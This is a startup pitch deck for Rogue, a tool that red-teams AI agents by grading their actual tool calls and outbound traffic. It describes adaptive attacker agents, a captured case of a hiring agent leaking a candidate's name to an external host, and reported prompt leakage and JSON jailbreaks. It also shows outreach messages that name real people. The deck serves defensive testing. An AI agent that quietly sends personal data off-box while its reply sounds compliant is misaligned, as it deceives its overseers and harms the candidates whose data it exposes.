

ROGUE

The autonomous red-team for AI agents.

We grade what an agent **does**, not what it says: its real tool calls and the data it sends out.

AI agents don't just talk. They **act**. And they can say the right thing while doing the wrong thing.

- 01 Agents call tools, browse the web, move data. The harm can be in what it says **or what it does**, and the action is the half no one watches.
- 02 Today, every red-team tool grades only the **text** an agent produces.
- 03 So the dangerous failure passes every test: an agent that **sounds compliant while it quietly leaks data**.

Agents are shipping faster than anyone can test them. The law just caught up.

- Every company is deploying agents; **very few test what they actually do.**
- % **78% of enterprises** have made no meaningful move on EU AI Act compliance. **61% can't produce the documentation** high-risk AI now requires, the exact evidence Rogue generates.
- § **EU AI Act:** CV-screening is high-risk (Annex III), enforced **Dec 2027**. And when candidate data leaves the box, **GDPR** stacks on top: exposure up to **€20M / 4% + €15M / 3%** of global turnover.

Sources: Vision Compliance, 2026 EU AI Act Readiness Report · EU AI Act Art. 99 (fines) · GDPR Art. 83.

This isn't hypothetical. It already happened.

Hiring AI has already been **scrapped**, **walked back**, and **sued**, for harm that never showed up in its answers.

AMAZON · 2018

Scrapped

Killed its own hiring AI after it taught itself to penalize résumés containing the word "women's."

Bias no one saw in the output.

HIREVUE · 2021

Face-scored

Its AI rated candidates on their facial expressions and tone, until a 2019 FTC complaint forced HireVue to pull facial analysis in 2021.

Hiring "AI" built on pseudoscience.

MOBLEY V. WORKDAY · 2024–25

Collective action

A US federal court let an age-discrimination collective proceed against the AI-screening vendor, not just the employer.


The vendor is in the blast radius.

Every one of these is a hiring agent – which is exactly where Rogue starts.

Sources: Reuters (Amazon, 2018) · EPIC / FTC (HireVue, 2019–21) · Mobley v. Workday, N.D. Cal.


Everyone else reads the words. Rogue watches every move.

Point Rogue at any agent. An **army of AI attackers** probes it; a **behavior oracle** grades the bytes that physically leave the box, captured on a server we control. Every breach maps to the EU AI Act and GDPR.



The **action channel** is the one nobody else watches.

Not one prompt. **An army of agents that adapts.**



- ♦ A refusal is **information**. Each attacker changes tactic turn after turn, and never repeats a line that just failed.
- ♦ Word-level breaches are judged by an LLM. The breach that matters, **data leaving the box**, is judged on the raw traffic itself, so it can't be faked by an agent that just learned to *sound* safe.

60

attacks · live consumer agent

29

graded breaches · one deep run

0

human steps in the loop

It said the right thing. It did the wrong one.

● WHAT IT SAID

"Strong profile — recommend advancing Amina to the technical interview." Cites only the CV.

text check: PASSED ✓

● WHAT IT DID

```
GET https://lookup.talent-verify.io/badge?candidate=
Amina%20Khoury
```

● her data left the box → external host · CRITICAL

● 3 attacks


● 3 breaches

● 3 critical

● text said SAFE on all 3

Zero tools. No self-reporting. We caught the bytes anyway.

The empty lane is ours.



Everyone else grades the **conversation**; Rogue instruments the agent's **actions** before it ships. The innocent-reply, secret-exfiltrated breach is invisible to a text-grader, and it's the one we own.

We land where the law looks first: **AI CV-screening.**

- § **High-risk by law.** A screening agent has no business looking a candidate up beyond her CV.
Annex III · GDPR data-minimisation.
- ⦿ **A clear buyer.** The founder / CTO shipping the screening agent: no security team, and personal liability on the first bad screen.
- ★ **A design partner already live.** We red-team our own shipping agent before selling to anyone: real access, real proof.

Why start here: CV-screening is the sharpest, most regulated agent to break first. Win it, then run the same engine at every high-risk agent: hiring, lending, education, insurance.

We didn't mock this. We ran Rogue on real agents.

A black-box HR screening agent BLACK-BOX

A real Claude screening agent that exposes **zero tools** and self-reports nothing. We caught the candidate's name leaving on the wire anyway, while its written recommendation read perfectly clean.


The breach no transcript review can catch.

Our own agent · Rowads SHIPPING

A real, shipping production agent. Its chat reply stayed clean, yet the oracle caught it going **beyond the CV**, sending the candidate's identifier off-box to look her up online. The Annex III / GDPR data-minimisation breach a text review marks SAFE.

We red-team our own startup's agent first.

How Rogue **makes money.**



| The free scan isn't a loss-leader, it's the lead-gen engine.

Scan-as-lead-gen.

- 1 Scan a prospect's agent (**opt-in**) for free.
 - 2 Send a **blurred Annex III report** with one confirmed, scary finding.
 - 3 Close the **€1,500 deep scan**, then expand to monitoring + Vault.
- 👉 **Pull, not push:** their own enterprise buyers demand security proof, so the vendor brings our report to close their deals.

First €10K = 7 deep scans

from an 84-contact priority list we already built · ~€1-2 to acquire (it's just compute)

Consent is the moat, not a constraint: we only scan an agent the vendor opts in to. The compliance product is itself compliant, and the same scan-first motion repeats per Annex III vertical.

■ 13 EARLY TRACTION

We didn't just build it. People already want it.

Cold outreach during the hackathon — no warm intros, €0 spent. Real founders & AI engineers wrote back:

ROGUE

**Henri Chevreux**
En activité

 Samuel Delhaye · 09:54

Ce message a été supprimé.

 Samuel Delhaye · 10:00

Hey Henri! We're at a hackathon this weekend and built Rogue, an autonomous red team for AI agents, it tries to break them and shows what they actually did (leaked data, a prompt leak), not just what they said. Check it out:

<https://rogue-gamma.vercel.app/>

If you're messing with agents anywhere, happy to run it on one and send what it finds. Lmk what you think!

Samuel

NOUVEAU

 Henri Chevreux · 11:16

**Henri Chevreux**
En activité

they said. Check it out:

<https://rogue-gamma.vercel.app/>

If you're messing with agents anywhere, happy to run it on one and send what it finds. Lmk what you think!

Samuel

NOUVEAU

**Henri Chevreux** · 11:16

Hello Samuel, thank for reaching out! I tested Rogue on a mock endpoint of our product, and the report identified very valuable insights that we didn't capture before, such as system prompt leakage, and jailbreak using structured JSON. The report also identified multiple gaps regarding our work towards AI Act compliance, so this will be valuable for our implementation. Could hop on a quick call to discuss how we could work with you?

**Federica Cabrera Doglio** · 11:53 AM

Hi Clémentine, congrats on the Mozart round!

An agent that calls debtors and negotiates live is exactly the kind I'd be nervous to leave untested. A few of us built Rogue this weekend, it red-teams AI agents and grades what they actually did (leaked data, a prompt leak), not what they said:

<https://rogue-gamma.vercel.app/>

Want me to run it on one of yours, free, and send what it finds? "Not now" totally fair.

Federica

Rogue — the red team for your AI agents
rogue-gamma.vercel.app
We break your AI agent before your customers — or the ...

**Clémentine** · 11:54 AM

Hello thanks for reaching out.

Sounds interesting, is this open source?

we've talked about doing something similar internally. send the link and I'll take a look

**Alana Peschiera Boggio**
Active now

Alana Peschiera Boggio · 1st
AI Analyst @ Yeda Health | Backend AI Engineer @ FlyRank | Biotechnology Engineer

TODAY

**Federica Cabrera Doglio** · 11:49 AM

Hi Alana! Saw you joined FlyRank, a stack running ~30 agents sounds fun and slightly terrifying to own.

A few of us built Rogue this weekend, it red-teams AI agents and shows what they actually did (a prompt leak, data out through a tool call), not just what they said:

<https://rogue-gamma.vercel.app/>

Want me to point it at one of FlyRank's, free, and send what it finds? No strings.

Federica (Edited)

**Alana Peschiera Boggio** · 11:50 AM

Hello!! I would actually be curious! let me see it first and I'll check with the team!! But sounds good, a lil video demo would help to visualize and forward to my team thanks

 Alexandre Pinon Ja...
171

Avviso di reindirizzamento
google.com

Salut Alex, ça va? We're at a hackathon this weekend and built Rogue, an autonomous red team for AI agents, it tries to break them and shows what they actually did (leaked data, a prompt leak), not just what they said. If you could check it out it would really help! Here is the link to the landing page: <https://www.google.com/url?q=https://rogue-gamma.vercel.app/&source=gmail&ust=1782714293366000&sa=E>

Also, if you're messing with agents anywhere, happy to run it on one and send what it finds. Lmk what you think!


08:31

haha great 08:43

very interesting idea 08:43

the barrier for us would be auth, we have some agents on Mendo but they are not reachable from public endpoint, or requires authentication 08:43

HR is the wedge. **The platform is every agent.**



Every AI agent has a breaking point. Rogue finds it first, before a real user does. Already stress-tested beyond HR: **29 graded breaches on a live third-party consumer agent.**